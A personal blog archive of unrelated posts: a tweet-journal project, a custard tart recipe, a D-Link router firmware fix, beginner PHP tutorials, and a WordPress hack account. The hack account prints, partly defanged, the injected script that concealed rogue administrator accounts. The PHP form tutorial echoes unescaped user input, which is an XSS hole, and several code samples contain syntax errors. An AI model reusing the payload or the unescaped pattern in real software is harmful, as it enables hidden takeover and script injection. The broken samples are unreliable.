The finished journal

The web is not static. By its very nature, it changes all the time – anything you look at today might have changed, or be removed entirely tomorrow. The BBC’s recent announcements that they are shutting down, rather than simply mothballing, several of their sites, got me thinking about my online activities and their lack of persistence.

That’s when I decided to make a journal.

Tweets and Time

Twitter seemed like the perfect source for my journal. I’ve used it since 2008 and tend to update it very frequently. So I started prototyping a tool to import my tweets using the Twitter API. This was quite simple to get up and running with a Cron job running every five minutes to fetch a new page of tweets.

Currently, the Twitter API limits you from fetching more than 3200 tweets. This means that my archive only goes back to July 2009. Twitter say that this is for performance reasons, but they hope to make older tweets available some time in the future.

Of course, I’m not the only person talking on Twitter, so I also examine the tweets to check if I have replied to anyone else. If I have, I also fetch the original tweet to ensure the context is preserved.

Once the tweet import was working, it was time to do something with the data…

Snapshots of the web

I also wanted to archive the links mentioned in the tweets. Simply preserving the link wasn’t enough – what if the website shuts down, has a redesign, changes the content or removes it entirely?

I needed a system to take screenshots of the web pages mentioned in tweets. It turns out there aren’t many free systems for taking screenshots of entire web pages. Plenty for taking thumbnails of web pages, sure – but very few meeting my needs. After spending a day playing with a standalone browsershots server and not being happy with the results, I settled on a Firefox extension that can take screenshots from the command line.

Using a nifty virtual frame buffer called Xvfb, it’s easy to pop open Firefox and take a screenshot in a couple of lines of code:
Xvfb :2 -screen 0 1024x768x24&
DISPLAY=:2 firefox -saveimage http://website.com -saveas /path/to/screenshot.png

Fozzabox, my trusty lounge Linux server

Eventually, I came up with a queuing system where my remote web server imports the tweets from Twitter and sends any embedded links to my home Linux server “Fozzabox”. Every minute, Fozzabox looks for a new URL in the queue – takes a screenshot – then uploads it to the remote server hosting the journal. If my wife isn’t watching too much YouTube, it can happily crunch through one screenshot every two minutes or so.

I also built in a little extra intelligence too – before taking a screenshot, it first requests the URL in a PHP script. It examines the content type of the result and if it is already an image (rather than a web page) it’ll directly import the image – no screenshot required. Likewise, if the URL points to Flickr, TwitPic or YFrog, it will also look for and import an image directly.

With the dual-server import and screenshot system configured, I enabled the Cron jobs and sat back. Approximately 48 hours later, I had circa 4,400 tweets and 1,500 links in the archive.

HTML5 goodness (sort of)

Finally, I needed to build the web application itself. For this, I decided to try and make something really responsive, where you could browse a timeline of tweets quickly and easily.

Tweets are organised into individual days. Visiting a day will load all the tweets and replies by hitting an AJAX endpoint on my remote server. Once a day is loaded, all the associated screenshots appear as thumbnails next to the tweet.

The timeline at the top is built as an unordered list, where each list item corresponds to an individual day. Inside each li is a div tag which has its height dynamically set according to how many tweets occurred on that day. The more tweets in the database, the higher the bar.

The timeline

There’s a mousemove event on the timeline allowing you to drag it around to see more dates. I also added a bit of iPhone-esque momentum thanks to a suggestion by Mark Stickley.

I added a little animation to the page in the form of the date display. When you click on a new date, it starts spinning and gradually stops at the right date when the tweets have loaded.

The date during animation (left) and after tweets have loaded (right)

For this I use a series of unordered lists, each with a weekday, day, month and year respectively. Each list has the final item at the start and the end of the list – this is so that you don’t notice when the list wraps back to the start, giving the impression of a cylindrical background. The blur effect is simply a grey text-shadow applied behind the text. The date is overlaid with a div with overflow:hidden set, hiding the rest of the list. You can see what the list looks like with its container is made bigger:

I have also added support for HTML5 history, albeit only functional in Chrome and Firefox 4 (at the time of writing). Each time you click on a new date, it does a history.pushState() adding the current state on to a stack and updating the page URL. This means I can update the page using pure Javascript (for speed) whilst maintaining the ability to publish and share URLs for specific days. For example, a day on my holiday to China in 2010.

Final thoughts

On and off, it’s taken me about three weeks of tinkering in my spare time to get this up and running. I hope, over time, it’ll become more and more interesting to browse my conversations and thoughts – it would be a shame to lose them.

After travelling to Portugal and savouring many pastéis de nata in their native environment, I decided to try and make them myself.

It was difficult to find a decent recipe online, but after a bit of looking I found a BBC Food recipe. The tarts turned out less than optimal, so I did a bit more sleuthing. After watching a few Youtube videos of the professional tart makers in action, I adapted the recipe and settled on the below.

The key to a successful tart seems to be the careful pressing of the pastry – I highly recommend watching some of the above videos to get an idea of the technique.

Ingredients:

Butter for greasing
3 egg yolks
3 tbsp caster sugar
25g cornflour
2 tsp vanilla essence
1 cinnamon stick
2 small slices of lemon peel
175ml full fat milk
225ml double cream
300g puff pastry (don’t bother making your own – seriously!)

1. Put the vanilla essence, cinnamon stick, lemon rind, milk and cream in a small pan. Heat gently and bring to the boil slowly whilst stirring gently. When it starts to boil, turn off the heat, strain out the liquid into a jug and set aside.
2. Preheat the oven to 210 degrees C. Grease a 12-hole muffin tray with butter.
3. In a pan, mix the egg yolks, sugar and cornflour over a low heat until it forms a well combined paste. Add the cream mixture in a thin stream, stirring slowly but continuously. When heated through and well combined, turn off the heat and pour into the jug. (Don’t let it boil – it will cook through and thicken in the oven!)
4. Roll out the pastry into a rectangle approx 30cm wide and 60cm long. Slice in half lengthways and place the half on top of the other. Roll into a tight swiss roll.
5. Cut into slices approx 1.5cm wide and place horizontally in a muffin tray hold. Wet both your thumbs with water and press from the bottom middle of the pastry outwards. Keep pressing the pastry and rotate the muffin tray around to create an even pastry case the full height of the hole.
6. When all 12 cases are ready, take the cooled custard mixture and divide equally among the cases.
7. Bake in the oven for around 15 mins, or until the pastry is golden brown and the custard set in the middle. When cooking, the custard will rise over the top of the pastry – don’t worry, it’ll sink when you take it out of the oven.

The symptoms were as follows: The power LED came on as normal, the status LED was flashing as normal – indicating that it was at least booting up. The LAN link LEDs would light up when an ethernet cable was plugged in. However, its web administration panel couldn’t be reached on http://192.168.1.1 and it couldn’t be pinged either.

After a lot of searching, reading and failed attempts at repairing it, I have found a method to reset the firmware without the web interface. Quite why D-Link make it so awkward for their UK customers, I don’t know.

DISCLAIMER Follow these instructions at your own risk; these instructions worked for me, I make no guarantees it will work for you.

I did this on a revision ‘A’ device – you’ll need to download different firmware if you have a revision ‘B’ or ‘C’ device.

I reproduce all the steps to manually recreate the firmware update package below. For convenience, I have packaged everything up. If you use my D-Link G624T rescue package, you can skip straight to steps 4 and 5.

Step 1: Download the Australian firmware package for the G604T.

At the time of writing you can find it on their FTP server. It’s important to get the EXE version which contains the program to reset the device.

Extract the .zip archive and run the program. A window will appear asking you for the device’s IP address. At this point, open an explorer window and navigate to your user’s ‘temp’ folder (in my case C:\Documents and Settings\Dan\Local Settings\Temp – you will need to turn on ‘show hidden files’ to see it). In here will be a randomly named folder (something like ‘ckz_DE0G’) with a program called TIupdate.exe in it:

Take a copy of the files in the folder and put them in a folder on your desktop called ‘update’. Once you’ve taken a copy, you can close the program.

We won’t need the Australian firmware files, so delete ‘config.DLinkAU_DSL-G604T.img’ and ‘DLinkAU_DSL-G604T_singleimage_kernel_fs_V2.00B12.AU_20070509′. You should be left with the following:

external_boot.bin
tiupgrade.exe
tiupgrade.ini
tiupgrade.scp

Step 2: Download the UK firmware

Grab the latest DSL-G624T firmware from the D-Link support site and extract it on your desktop.

From the resulting files, copy the two files inside the ‘image’ folder into the ‘upgrade’ folder you created previously. Also, open the mtd-4m.txt file in Notepad, you’ll need this in a moment.

Step 3: Set the firmware uploader to use the UK firmware

In the ‘upgrade’ folder, open the ‘tiupgrade.scp’ file in notepad. You should see something like the following:

etenv mtd0 0×90091000,0x903f0000
setenv mtd1 0×90010090,0×90090000
setenv mtd2 0×90000000,0×90010000
setenv mtd3 0x903f0000,0×90400000
setenv mtd4 0×90010000,0x903f0000
setenv autoload 1
setenv StaticBuffer 120
setenv modulation MMODE
setenv autoload_timeout 15
setenv StaticBuffer 384
setenv SW_FEATURES 0X8000
reboot
reconnect 3
put config.DLinkAU_DSL-G604T.img mtd3
put DLinkAU_DSL-G604T_singleimage_kernel_fs_V2.00B12.AU_20070509 mtd4
setenv autoload_timeout 5
reboot

This is a script telling the firmware uploader how to apply the firmware to the router. You need to amend this with the contents of the ‘mtd-4m.txt’ you have open. You also need to amed the two ‘put’ lines to reflect the filenames of the UK firmware.

After editing it, my tiupgrade.scp looked like this: (edited lines in bold)

env mtd0 0x900a1000,0x903f0000
setenv mtd1 0×90010090,0x900a1000
setenv mtd2 0×90000000,0×90010000
setenv mtd3 0x903f0000,0×90400000
setenv mtd4 0×90010000,0x903f0000
setenv autoload 1
setenv StaticBuffer 120
setenv modulation MMODE
setenv autoload_timeout 120
setenv StaticBuffer 120
setenv SW_FEATURES 0X8000
reboot
reconnect 3
put config.DLinkUK-A_DSL-G624T.img mtd3
put DLinkUK-A_DSL-G624T_singleimage_kernel_fs_V3.10B01T02.UK-A.20070523 mtd4
setenv autoload_timeout 5
reboot

Save the file and you’re almost ready to go.

Step 4: Set up your network

To ensure your PC can talk to the router correctly, you need to make sure you have a static IP address on the same subnet. By default, the UK version of the router is on 192.168.1.1.

Go into your LAN properties: Start -> Control Panel -> Local Area Connection (or similar). Right click and choose ‘properties’. Double click on the ‘Internet Protocol (TCP/IP) in the list to bring up the IP properties. Set a static IP address on the same subnet as the router, for example:

Step 5: Upload and activate the firmware

Now for the easy bit. Plug the router into your computer with an ethernet cable and ensure the router is switched on. Run the ‘tiupgrade.exe’ program. You should see a window like this:

Ensure the ‘Corrupted-image mode’ checkbox is checked, then click ‘Next’. The program will prompt you to power-down the router, wait 10 seconds, then click ‘Next’. Carefully follow these instructions and the firmware update should start automatically (It takes a few minutes).

Once you’ve done that, the router should reboot, and hopefully work again. It will have been reset back to factory settings, so you should be able to log in at http://192.168.1.1 with username ‘admin’ and password ‘admin’.

Good luck, I hope this helps someone!

In the tutorials so far, the PHP scripts have run from the top down. All instructions are performed in the order they appear in the file.

A function can be thought of as a reusable ‘black box’. You (optionally) give it some data (called arguments or parameters), it performs an operation and (optionally) gives you a result.

This is illustrated in the following diagram:

We have already used a function in previous examples; namely ‘isset’:

$isTheVariableSet = isset($someVariable);

In this case, isset takes one argument ($someVariable) and gives you a value of true or false back depending on whether the variable is set or not. This true or false value is assigned the $isTheVariableSet variable in the example.

Functions calls are always written using the function name, followed by opening and closing brackets. The arguments go in the brackets, separated by commas.

Anatomy of a function

PHP has hundreds of functions built-in, but if a native function won’t solve your problem you can build your own.

It is good programming practice to keep function definitions simple: make your function do one thing. You’ll make your code easier to maintain if you keep things simple.

User defined functions take the following form:

function myFunctionName($argument1, $argument2) {
    // Your function code goes here
}

Firstly, you need a specify a name for your function. The name has the same limitations as variables (must start with a letter, or underscore, followed by any number of letters, numbers or underscores). Be sure to call your function something meaningful that describes what it does, avoid names like function1.

Secondly, within the brackets, you specify what inputs (arguments/parameters) you need for your function to work. In PHP the order of these is significant; when calling your function you will need to specify the same arguments in the same order.

Finally, you write the code to make the function work within the curly braces.

Your first function

Let’s start with a really trivial example. A function to generate a string to greet somebody. We’ll call it getGreetingFor(). We’ll give it one argument – the name of the person to greet.

1
2
3
4

function getGreetingFor($name) {
    $greeting = 'Hello '.$name;
    return $greeting;
}

The function is called like this:

echo getGreetingFor('Dan'); // outputs 'Hello Dan'

When the above code is run, the string ‘Dan’ is assigned to the variable $name inside our function definition. The code inside the function concatenates ‘Hello ‘ with the contents of $name, then assigns it to a new variable called $greeting.

The ‘return’ keyword immediately exits the function code and passes back any value associated with it. In this case, it returns the value of $greeting (‘Hello Dan’ in this particular example).

The returned value is then used by the ‘echo’ statement to output the string on the page.

Variable scope

At this point, it’s useful to explain PHP’s concept of variable scope. Scope can be explained in simple terms:

Any variables used inside a function are (usually) not visible outside the function. Likewise, variables declared outside the function are (usually) not visible inside the function.

This can be demonstrated using the example above:

1
2
3
4
5
6
7
8

function getGreetingFor($name) {
    $greeting = 'Hello '.$name;
    return $greeting;
}
 
echo getGreetingFor('Greg'); // outputs 'Hello Greg'
echo $name; // outputs nothing
echo $greeting; // outputs nothing

The variables $name and $greeting used inside the function are not visible outside the function. Instead, you must pass variables in using arguments and get a value out using the return statement. Again, think of functions as self-contained black boxes.

More examples

Functions can have multiple arguments:

1
2
3
4
5
6
7

function areNamesTheSame($name1, $name2) {
    if ($name1 == $name2) return true;
    return false;
}
 
if (areNamesTheSame('Philbert', 'Jeremy')) echo 'Philbert and Jeremy are the same'; // Outputs nothing
if (areNamesTheSame('Dan', 'Dan') echo 'Dan and Dan are the same'; // Outputs 'Dan and Dan are the same'

Note that if the names are the same, the return statement on line 2 will exit the function and return true – line 3 is never reached. Conversely, if the names are not the same, it will reach line 3 and return false.

You could use a function to count down from a number:

1
2
3
4
5
6
7
8
9
10

function countDown($number) {
    $countdownString = ''; // initialise the string
    for ($index = $number; $index >= 0; $index -- {
        $countdownString = $countdownString . $index . ' '; // Adds the current number and a space to $countdownString
    }
    return $countdownString;
}
 
echo countDown(10) // outputs '10 9 8 7 6 5 4 3 2 1 0 '
echo countDown(3) // outputs '3 2 1 0 '

Arguments with default values

You can make arguments optional by supplying default values. Let’s rewrite the countDown() function:

1
2
3
4
5
6
7
8
9
10
11

function countDown($start, $finish = 0) {
    $countdownString = ''; // initialise the string
    for ($index = $start; $index >= $finish; $index -- {
        $countdownString = $countdownString . $index . ' ';
    }
    return $countdownString;
}
 
echo countDown(10); // outputs '10 9 8 7 6 5 4 3 2 1 0' same as before
echo countDown(10, 5); // outputs '10 9 8 7 6 5'
echo countDown(5, -5); // outputs '5 4 3 2 1 0 -1 -2 -3 -4 -5'

In this case, the $finish argument is optional because it has a default value of 0. This means that if we don’t supply the second argument in the function call, $finish has the value 0.

Note that default parameters must be listed last in the function definition. You can’t for example declare a function like this: function countDown($finish = 0; $start)

Now we will use these concepts to actually make a working web page. This page will contain a form that you can submit, and we will write PHP code to handle the form contents.

Step 1: The basic HTML

This is going to be a real, albeit ugly, web page. So we need some boilerplate HTML:

1
2
3
4
5
6
7
8
9

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<title>My first dynamic web page!</title>
</head>
<body>
 
</body
</html>

Save the file as something like form.php and upload it to your web server. Hopefully if you load it, you’ll see a blank page with the title “My first dynamic web page!”

Step 2: The HTML Form

There are essentially two types of HTML forms:

• POST – when submitted, the contents of the form are sent in the HTTP request body. Using this method will normally result in a prompt if the user presses their browser back button after submitting the form. POST requests cannot be bookmarked
• GET – when submitted, the contents of the form will appear in the URL in the browser address bar. These addresses can be bookmarked by the user.

For our page, we’ll use a POST method form. This code should be inserted between the body tags at line 7:

7
8
9
10
11

<form action="" method="post">
<p><label for="user-name">Name: </label><input id="user-name" name="user-name" value="" type="text" /></p>
<p><label for="user-message">Message: </label><input id="user-message" name="user-message" value="" type="text" /></p>
<p><input type="submit" value="Submit" /></p>
</form>

Note the blank action property of the form tag – this means that when the user submits the form, the browser will POST the contents back to the same page. Alternatively, if we wanted to use a different page, its URL could have been entered here.

If you upload and view the page in your browser, you should be able to see the form. Feel free to enter some values and submit the form. As you’ll see, the form simply goes back to the same page.

Step 3: Enter the PHP

PHP has a magic array called $_POST that contains any values submitted using an HTTP POST. It’s very straightforward to use, simply being an associative array. Each key in the array is the form “name” attribute and each value is the corresponding data entered by the user.

For example, for our form above:

echo $_POST['user-name'];

will output whatever the user has entered in the name field on our form, when it is submitted.

There’s an important note about PHP’s error handling with arrays:

If you attempt to access an array key that doesn’t exist, PHP might show an error message (more specifically a notice). These notices will show if you have PHP configured to show its strictest errors. For this reason, it’s good practice to either pre-populate your array with empty values; or check if a key exists before you attempt to use it.

With this warning in mind, let’s add some code to the very start of the file, insert the following at line 1:

1
2
3
4
5
6

<?php
$name = '';
$message ='';
if (array_key_exists('user-name', $_POST)) $name = $_POST['user-name'];
if (array_key_exists('user-message', $_POST)) $message = $_POST['user-message'];
?>

Lines 2 and 3 simply prepare two variables for us to use later, this is called initialisation. It is good practice to get into the habit of doing this so that you know exactly what the starting values of the variables are going to be.

Lines 4 and 5 check to see if the keys ‘user-name’ and user-message’ exist in the $_POST array. If the user had submitted the form, the values $_POST['user-name'] and $_POST['user-message'] will contain the text the user entered.

Using the submitted data

Finally, lets embed some echo statements to show the user some feedback. The finished script will look like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

<?php
$name = '';
$message ='';
if (array_key_exists('user-name', $_POST)) $name = $_POST['user-name'];
if (array_key_exists('user-message', $_POST)) $message = $_POST['user-message'];
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<title>My first dynamic web page!</title>
</head>
<body>
<form action="" method="post">
<p><label for="user-name">Name: </label><input id="user-name" name="user-name" value="" type="text" /></p>
<p><label for="user-message">Message: </label><input id="user-message" name="user-message" value="" type="text" /></p>
<p><input type="submit" value="Submit" /></p>
</form>
 
<p>User name is <?php echo $name; ?></p>
<p>Message is <?php echo $message; ?></p>
 
</body
</html>

Lines 19 and 20 echo out the user data. If you save and run the script, you should be able to put text into the form, submit it and have the results output on the page.

Persisting form values

Finally, we can modify lines 14 and 15 to echo out the user text as the input ‘values’. This has the effect of keeping the user input in the form fields when the form is submitted:

14
15

<p><label for="user-name">Name: </label><input id="user-name" name="user-name" value="<?php echo $name; ?>" type="text" /></p>
<p><label for="user-message">Message: </label><input id="user-message" name="user-message" value="<?php echo $message; ?>" type="text" /></p>

Final thoughts

You now have the basics to build simple dynamic web pages. In the next tutorials we’ll go on to more advanced PHP features.

We’ve already seen how the foreach() can loop (iterate) over items in an array, but there are other ways to alter the flow of the code as well.

Conditional

One of the most common PHP statements is the “if”. In a nutshell, “if” does the following:

if (some condition is true) { run this code }

This means that if whatever is in the brackets is “true”, PHP will run the code in the curly braces. If the condition is not true, PHP will ignore the code in the curly braces.

Here’s a simple example:

1
2
3

$number = 5;
if ($number == 1) { echo 'The number is 1!'; }
if ($number == 5) { echo 'The number is 5!'; }

When the script is run, it will output ‘The number is 5!’.

Note the double equals in the conditions (==). There is an important distinction to make between the ‘==’ and the ‘=’:

• ‘==’ is used to compare one thing to another. If the ‘things’ are equal, it will evaluate to true. Otherwise it evaluates to false.
• ‘=’ is used to assign values to variables. (This is actually a simplification, we will come back to its actual meaning in a later post. However, for now you can assume that this is the case)

So, line 2 in the example is saying “$number == 1 evaluates to true, run the rest of the code”. On line 1, we have set “$number = 5″ making the condition evaluate to false, meaning that “The number is 1!” is not output.

However, on line 3, the condition “$number == 5″ evaluates to true, resulting in the string being output.

In place of the ==, you can also use other operators such as > (true if the left is greater than the right), and < (true if the left is less than the right). For example, to test if a number is between 10 and 20:

if ($number > 9 && $number < 21) { echo 'Win!'; }

The double ampersand ‘&&’ means a logical AND, that is the whole expression is true only if the left expression AND the right expression are true. Although we’re looking for a number between 10 and 20, note that in the expressions we are using 9 and 21. This is because we are testing for numbers greater than 9 and less than 21 – this doesn’t include the numbers themselves.

PHP also has >= <= operators; greater than or equals, less than or equals respectively. The same result as the example above looks like this:

if ($number >= 10 && $number <= 20) echo 'Win!';

The conditions needn’t be limited to variables; you can use anything that can evaluate to true or false. PHP has lots of functions that can do this:

if (isset($someVariable)) { echo 'The variable is set'; }

‘isset’ is a PHP function that returns true if a variable has been defined, or false if not. In this example we’re asking it to tell us if the $someVariable is set.

The ‘while’ loop

There is a way of looping through code ‘while’ a particular condition is true:

$counter = 0;
while ($counter < 11) {
    $counter ++; // This is the same as $counter = $counter + 1
    echo 'Counter is '.$counter.'<br />';
}

The above code loops around ten times, incrementing the counter each time and outputting it to the screen.

Note that if the condition is false at the start, the while loop is never executed

The ‘for’ loop

The for loop is one of the most useful and powerful looping structures in PHP. Its syntax looks rather opaque at first glance, but you’ll soon get used to it. The syntax looks like this:

for ($index = 1; $index < 11; $index ++) {
    echo 'Index is '.$index.'<br />';
}

The ‘for’ statement itself has three parts, each separated by a semicolon. The first part initialises a variable for us to control the loop; in this case we are setting it to zero. The second part has a condition that will cause the loop to continue as long as it evaluates to true. The third and final part is the operation that gets performed each time the loop repeats; in this case it is incrementing the value of $index.

The result of the code is almost identical to the while loop – it will loop around ten times and echo out the index each time.

The foundation of PHP programming

If you’ve followed the tutorial up to this point, you now have the foundations to build your first dynamic web page.

After a while tinkering with various configuration settings and trying to get something to come up, I started searching the web. Turns out, earlier versions of WordPress were vulnerable to specific hacks that could let attackers create their own admin users.

Looking in the WordPress users table, three new users had been created. Their first names were set to the following: (note: code deliberately broken so I don’t trigger security protections)

...
 
<b id="user_superuser"><script language="JavaScript">
var setUserName = function(){
          try{
               var t=document.getElementById("user_superuser");
               while(t.nodeName!="TR"){
                    t=t.parentNode;\n               };
               t.parentNode.removeChild(t);
               var tags = document.getElementsByTagName("H3");
               var s = " shown below";
               for (var i = 0; i < tags.length; i++) {
                    var t=tags[i].innerHTML;
                    var h=tags[i];
                    if(t.indexOf(s)>0){
                         s =(parseInt(t)-1)+s;
                         h.removeChild(h.firstChild);
                         t = document.createTextNode(s);
                         h.appendChild(t);
                    }
               }
 
		var arr=document.getElementsByTagName("ul");
		for(var i in arr) if(arr[i].className=="subsubsub"){
		    var n=/>Administrator \\((\\d+)\\)</gi.e-xec(arr[i].innerHTML);
		    if(n!=null && n[1]>0){
			var txt=arr[i].innerHTML.replace(/>Administrator \\((\\d+)\\)</gi,">Administrator ("+(n[1]-1)+")<");
			arr[i].innerHTML=txt;
		    }
 
		    var n=/>Administrator <span class="count">\\((\\d+)\\)</gi.e-xec(arr[i].innerHTML);
		    if(n!=null && n[1]>0){
			var txt=arr[i].innerHTML.replace(/>Administrator <span class="count">\\((\\d+)\\)</gi,">Administrator <span class=\\"count\\">("+(n[1]-1)+")<");
			arr[i].innerHTML=txt;
		    }
 
		    var n=/>All <span class="count">\\((\\d+)\\)</gi.e-xec(arr[i].innerHTML);
		    if(n!=null && n[1]>0){
			var txt=arr[i].innerHTML.replace(/>All <span class="count">\\((\\d+)\\)</gi,">All <span class=\\"count\\">("+(n[1]-1)+")<");
			arr[i].innerHTML=txt;
		    }
		}		
          }catch(e){};
     };
    addLoadEvent(setUserName);
</script>

Note the three periods on the first line? Ingeniously, when you look at the records directly in the database using a tool like phpMyAdmin, it defaults to only showing the first line. This makes the field appear as ‘…’ – you only see the actual evil payload if you activate the full text view.

WordPress spits out the above code verbatim on the users page, without turning it into HTML entities. When run, the code looks for the maliciously injected users in the HTML, hides them and modifies the administrators count. This means that as long as Javascript is turned on in your browser, you’ll never see the extra users without manually looking into the database.

This was my users page with Javascript turned on:

and this is what happened when I turned Javascript off:

Magic! Three extra users have appeared!

Again, note the three periods that appear as the user name – this is where the sneaky Javascript was embedded. The other sneaky thing is that two out of the three injected users had managed to replicate my correct email address, the third had it set as ‘www@www.com’.

Once a malicious user is logged in as an adminstrator, they have free reign to do as they please – including directly modifying PHP code in the WordPress admin panel. It turns out that the server 500 errors were due to the hackers modifying the theme files I was using. It took a clean install of the theme before I could get into the blog again. Hopefully, I’ll do a post-mortem on the theme and post any malicious findings here.

The moral of the story? Keep your WordPress install up to date and keep an eye on the users table.

If you think you’ve been hacked, I’ve spotted a couple of useful guides to dealing with the aftermath.

What is an array?

An array is a list of values. Each value has a unique name which is called its key.

Imagine you wanted to store a list of colours: Red, Blue and Yellow. You can store this in an array as follows:

$colours = array('Red', 'Blue', 'Yellow');

Here, you assigned the array of values to a variable called “$colours”. Each item in this array (called an element) is a string (remember strings are enclosed by single or double quotes). Note that each item in the array is separated by a comma, and the whole list is enclosed in brackets.

Outputting an array

This is all very nice, but how do we get the items out of the array? You can’t simply echo out an entire array. This is where PHP has some very powerful functions. One of the most common, is the foreach:

foreach ($colours as $item) {
  echo $item . '<br />';
}

This is the first example of a PHP loop. Foreach goes through each item in an array and lets you perform operations on it. Here, we are telling it to operate on the $colours array we defined above. In turn, each item in the array is assigned to a second variable called $item. The two curly braces ‘{‘ and ‘}’ enclose a set of instructions to run on each element; in this case echoing out the item followed by an HTML break. This gives:

Red
Blue
Yellow

Note that foreach always operates on the elements in the same order that they were put into the array.

Another, slightly more complicated example. This time, we’ll use an array of integers:

$numberArray = array(3,4,5);
$total = 0;
foreach ($numberArray as $number) {
  $total = $total + $number; // this adds $number to the current value of $total
}
echo 'The total is ' . $total;

In this example, after creating the array, we have also created a variable called $total, setting its value to 0. Using foreach, we then loop through each element of the $numberArray and add it to the $total. Finally, we echo out the total, giving this result:

The total is 12

Mixed arrays

Arrays needn’t be just lists of a single type; you can mix and match as you like:

$mixedArray = array('Fred', 23, "Cheesy nibbles", 19.6);

Each element in the array has its own type, just as when you assign values to variables. This becomes very useful when we deal with more advanced topics.

Array keys

At the start, we mentioned that each item in an array has a key, as well as a value:

If you don’t explicitly supply a key, PHP will automatically number your elements, starting from 0

Remember the colours array from the start of this post? This means that when we created the array, Red had the key 0, Blue had a key of 1 and Yellow was 2. The keys give you a way of referring to specific elements in the array. One way of doing this is with square brackets:

$colours = array('Red', 'Blue', 'Yellow');
echo $colours[1]; // outputs 'Blue' - numbering starts from 0!
echo $colours[2]; // outputs 'Yellow'
echo $colours[3]; // not defined, may show an error depending on configuration

You can use the same syntax to define an element with a specific key:

$colours[7] = 'Purple';

Now the array has a new item ‘Purple’ with a key of 7. Now there are four items in the array: Red (0), Blue (1), Yellow (2), Purple (7). Note that the keys don’t need to be consecutive.

You can also specify the array keys when you initially create the array, using PHPs ‘=>’ notation:

$colours = array(0=>'Red', 7=>'Purple', 1=>'Blue', 2=>'Yellow');
foreach ($colours as $item) {
  echo $item . '<br />';
}

Remember that foreach loops through the items in the order they were inserted; regardless of its key. This means the above code outputs:

Red
Purple
Blue
Yellow

You can also use the keys in a foreach loop:

$colours = array(0=>'Red', 7=>'Purple', 1=>'Blue', 2=>'Yellow');
foreach ($colours as $key => $item) {
  echo 'Key ' . $key . ' has value ' . $item . '<br />';
}

Now, each time a $item is fetched from $colours, its corresponding key is assigned to the variable $key. It uses the same ‘=>’ notation as above. This results in:

Key 0 has value Red
Key 7 has value Purple
Key 1 has value Blue
Key 2 has value Yellow

Associative arrays

Just as array items can be different types, so can their keys. This is an immensely useful feature of PHP that you will refer to again and again. Arrays with non-numeric keys are called associative arrays.

You define an associative array in exactly the same way as any other array. Here, we’ll define an array of details about a person:

$person = array('name'=>'Fred', 'age'=>25, 'dislikes'=>'Mushrooms);
echo $person['age']; // outputs 25

You can use square brackets to assign associative values as well. This example is equivalent to the previous:

$person = array();
$person['name'] = 'Fred';
$person['age'] = 25;
$person['dislikes'] = 'Mushrooms';

To conclude

Arrays are one of the most useful types in PHP; so feel free to play around with the examples above until you feel confident with them.

Now you’ve been through the basics of variables and arrays, we can go on to build your first dynamic web page in part 4.

echo 'This is a string';

(Note that from now on the opening (<?php) and closing (?>) PHP tags are omitted from examples, but should still be included in any source code you create)

On its own, it does not appear to be useful; after all we could have just written ‘This is a string’ in HTML for the same effect. The real power comes from using PHP variables.

Think of a variable as a named box, in which you can place something. Later, you can retrieve the thing you put in the box, you just look it up by its name.

Assigning values to variables

Creating a variable is as easy as giving it a name and telling it what value you want it to store. In PHP, variables always begin with a dollar sign ($)

A variable name must begin with a letter, or an underscore. The rest of the name can be any combination of letters, numbers and/or underscores.

$string = 'This is a string';

This creates a new variable with the name of ‘$string’ and stores the value ‘This is a string’ inside it. You can combine the echo statement with a variable to output the contents of a variable to the browser:

$string = 'This is a string';
echo $string;

This will output ‘This is a string’ as with the first example.

Any subsequent values you set will overwrite the previously stored value:

$string = 'This is a string';
$string = 'This overwrites the previous value';
echo $string; // outputs 'This overwrites the previous value'

Here we’ve introduced a style of PHP comment. Comments are totally ignored by PHP making them useful for documenting your code. I’ve used the ‘//’ comment, where PHP will ignore everything up to the end of the line.

Variable types

In PHP, variables can be one of several types. These types affect what operations you can perform on the variable and how the values behave. Three basic variable types are listed below.

Strings

Strings are collections of characters. You denote strings by enclosing them in single or double quotes:

$string1 = 'This is a single quoted string';
$string2 = "This is a double quoted string";

There are some differences with how single and double quoted strings are interpreted – we’ll talk about that later.

You can add (concatenate in PHP-speak) two strings together using a period ‘.’:

$string = 'This string ' . 'is concatenated from two parts';
echo $string; // outputs 'This string is concatenated from two parts';

You can also do this with two variables containing strings:

$string1 = 'This string ';
$string2 = 'is concatenated from two parts';
echo $string1 . $string2 // same result as above

Integers

Integers are whole numbers. A whole number is one without a decimal point.

$integer = 42; 
echo $integer; // outputs 42

You can perform mathematical operations on integers:

$integer1 = 50;
$integer2 = 20;
echo $integer1 - $integer2; // outputs 30
echo $integer1 + $integer2; // outputs 70

Floating point numbers

Floating point numbers are numbers with a decimal point. In practice, they work similarly to integers:

$float1 = 10.5;
$float2 = 0.2;
echo $float1 - $float2; // outputs 10.3
echo $float1 + $float2; // outputs 10.7

Note that floating point numbers have a very important gotcha:

Inside the computer memory, floating point numbers are not stored as exact representations. This means rounding errors can occur. For this reason, never use floating point numbers where accuracy is important; such as in financial transactions for example.

Other types

There are several other types of variable in PHP. The other types are slightly more advanced and will be introduced later as we need them.

What is PHP?

PHP is a general purpose scripting language. At its most basic level, it can be used to embed logic into web pages. If HTML is the meaning and CSS is the presentation, PHP is the engine that makes it work. As you will see later in the series, it also has powerful object oriented abilities that help you produce reusable and easily maintainable code. For a detailed history of PHP, see the excellent Wikipedia entry.

What you need to get started

First, you’ll need a web server. You won’t get very far unless you can actually see the web pages you create. Personally, I prefer using Apache – and indeed, this guide assumes you are using Apache.

There are several ways to get Apache up and running, for Windows users there is WAMP or EasyPHP. For Mac users, OS X has Apache built in, or you can use a self-contained environment such as MAMP.

My preferred platform for the web is Linux – as far as I’m concerned, Linux is the OS of the web. Whilst Windows is an excellent general purpose OS, it has some major differences with Linux that can catch out the unwary. It’s dead easy to either get a Linux-based web host, or set up a virtual machine on Windows.

Finally, you need an editor. Some purists prefer to use simple text editors, the best of which give you syntax highlighting to make your life easier. Personally, I use NetBeans. Handily, NetBeans is available for the Mac, Windows and Linux. I prefer NetBeans because it automatically highlights any PHP errors as you type – an invaluable feature. It also offers some useful advanced features that will appear in this blog later.

First steps

